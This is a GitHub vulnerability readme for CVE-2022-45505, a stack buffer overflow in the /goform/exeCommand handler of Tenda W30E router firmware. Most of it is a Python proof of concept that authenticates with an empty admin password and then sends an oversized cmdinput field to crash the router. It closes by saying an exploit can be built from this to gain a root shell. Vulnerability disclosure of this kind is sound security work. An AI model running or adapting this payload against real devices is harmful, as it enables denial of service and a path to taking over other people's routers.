CVE-2022-45505: IOT_Vul/readme.md at main · z1r00/IOT_Vul

Permalink

Cannot retrieve contributors at this time

Tenda W30E V1.0.1.25(633) Stack overflow vulnerability****Firmware information

• Manufacturer’s address：https://www.tenda.com.cn/

• Firmware download address ： https://www.tenda.com.cn/download/detail-2218.html

Affected version

Vulnerability details

In /goform/exeCommand, cmdinput will be copied to s by strcpy. It is worth noting that there is no size check, resulting in a stack overflow vulnerability

Poc

import requests

target_url = ‘http://192.168.10.103/login/Auth’

target_headers = {’Host’ : '192.168.10.103’, ‘Content-Length’ : '65’, ‘Accept’ : '*/*’, ‘X-Requested-With’ : 'XMLHttpRequest’, ‘User-Agent’ : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36’, ‘Content-Type’ : 'application/x-www-form-urlencoded; charset=UTF-8’, ‘Origin’ : 'http://192.168.10.103’, ‘Referer’ : 'http://192.168.10.103/main.html’, ‘Accept-Encoding’ : 'gzip, deflate’, ‘Accept-Language’ : 'en-US,en;q=0.9’, ‘Cookie’ : 'user=’, ‘Connection’ : 'close’} p1 = ‘usertype=admin&password=&time=2022;7;6;14;9;6&username=’

requests.post(target_url, headers = target_headers, data = p1, verify = False, timeout = 1)

target_url = ‘http://192.168.10.103/goform/exeCommand’

target_headers = {’Host’ : '192.168.10.103’, ‘Content-Length’ : '295’, ‘Accept’ : '*/*’, ‘X-Requested-With’ : 'XMLHttpRequest’, ‘User-Agent’ : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36’, ‘Content-Type’ : 'application/x-www-form-urlencoded; charset=UTF-8’, ‘Origin’ : 'http://192.168.10.103’, ‘Referer’ : 'http://192.168.10.103/main.html’, ‘Accept-Encoding’ : 'gzip, deflate’, ‘Accept-Language’ : 'en-US,en;q=0.9’, ‘Cookie’ : 'user=’, ‘Connection’ : 'close’}

p2 = ‘cmdinput=’ + ‘a’ * 0x3000 requests.post(target_url, headers = target_headers, data = p2, verify = False, timeout = 1)

You can see that the router crashed, and finally you can write an exp to get a root shell